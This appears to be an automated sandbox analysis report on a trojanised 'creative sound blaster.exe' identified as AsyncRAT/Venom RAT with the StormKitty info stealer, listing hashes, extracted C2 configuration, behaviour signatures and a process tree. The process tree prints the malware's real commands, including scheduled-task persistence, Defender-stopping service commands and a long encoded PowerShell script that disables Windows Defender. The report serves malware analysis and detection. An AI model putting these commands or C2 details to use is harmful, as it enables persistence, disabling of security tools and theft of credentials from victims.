Analysis

  • max time kernel
    386s
  • max time network
    391s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 23:43 UTC

General

  • Target

    creative sound blaster.exe

  • Size

    272KB

  • MD5

    216065e5d553615d2eb0b6cfe500955d

  • SHA1

    77e8aa8c51aff504fa2570b802a2cfcefc4cbeb9

  • SHA256

    8583a10e3990a1a9f00e443c1d39351c69899cff0a902c83e673d233a1467662

  • SHA512

    ec5d0edc7d73337445d235b377e8556dd0ac608eaf641e4e711cec28c69fbcd18b239a05843d07f1cadd87ae7b0cb2f69ada5e6de4433a4d7f1c4971eb1b6a7e

  • SSDEEP

    3072:cUTcxw+1uSPMV7b3SH1bnf8QYy9ckYMmlB/v6A80XH3e55EVu9cBY:cluSPMV7biVbEq5YM6VyA80XHbUe

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

147.185.221.21:6643

Mutex

ilfsqckarqvfvoxlq

Attributes
  • delay

    1

  • install

    true

  • install_file

    dllhost.dat.exe

  • install_folder

    %AppData%

aes.plain
1
oETfimhILXkFL1z2C6PlKlzhhSXFMRUW

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 1 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 3 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 33 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 56 IoCs
  • Suspicious use of FindShellTrayWindow 63 IoCs
  • Suspicious use of SendNotifyMessage 25 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2532
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" qc windefend
          3⤵
          • Launches sc.exe
          PID:5092
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
          3⤵
            PID:3632
          • C:\Windows\system32\whoami.exe
            "C:\Windows\system32\whoami.exe" /groups
            3⤵
              PID:4256
            • C:\Windows\system32\net1.exe
              "C:\Windows\system32\net1.exe" stop windefend
              3⤵
                PID:2604
              • C:\Windows\system32\sc.exe
                "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                3⤵
                • Launches sc.exe
                PID:1696
          • C:\Users\Admin\AppData\Local\Temp\creative sound blaster.exe
            "C:\Users\Admin\AppData\Local\Temp\creative sound blaster.exe"
            1⤵
            • Checks computer location settings
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3860
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dllhost.dat" /tr '"C:\Users\Admin\AppData\Roaming\dllhost.dat.exe"' & exit
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1404
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "dllhost.dat" /tr '"C:\Users\Admin\AppData\Roaming\dllhost.dat.exe"'
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3100
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9E72.tmp.bat""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2256
              • C:\Windows\system32\timeout.exe
                timeout 3
                3⤵
                • Delays execution with timeout.exe
                PID:4576
              • C:\Users\Admin\AppData\Roaming\dllhost.dat.exe
                "C:\Users\Admin\AppData\Roaming\dllhost.dat.exe"
                3⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Accesses Microsoft Outlook profiles
                • Enumerates connected drives
                • Sets desktop wallpaper using registry
                • Suspicious use of SetThreadContext
                • Checks processor information in registry
                • Modifies Control Panel
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                • outlook_office_path
                • outlook_win_path
                PID:220
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2452
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:4724
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show profile
                      5⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:4488
                    • C:\Windows\system32\findstr.exe
                      findstr All
                      5⤵
                        PID:1696
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3756
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        5⤵
                          PID:820
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show networks mode=bssid
                          5⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:3088
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAo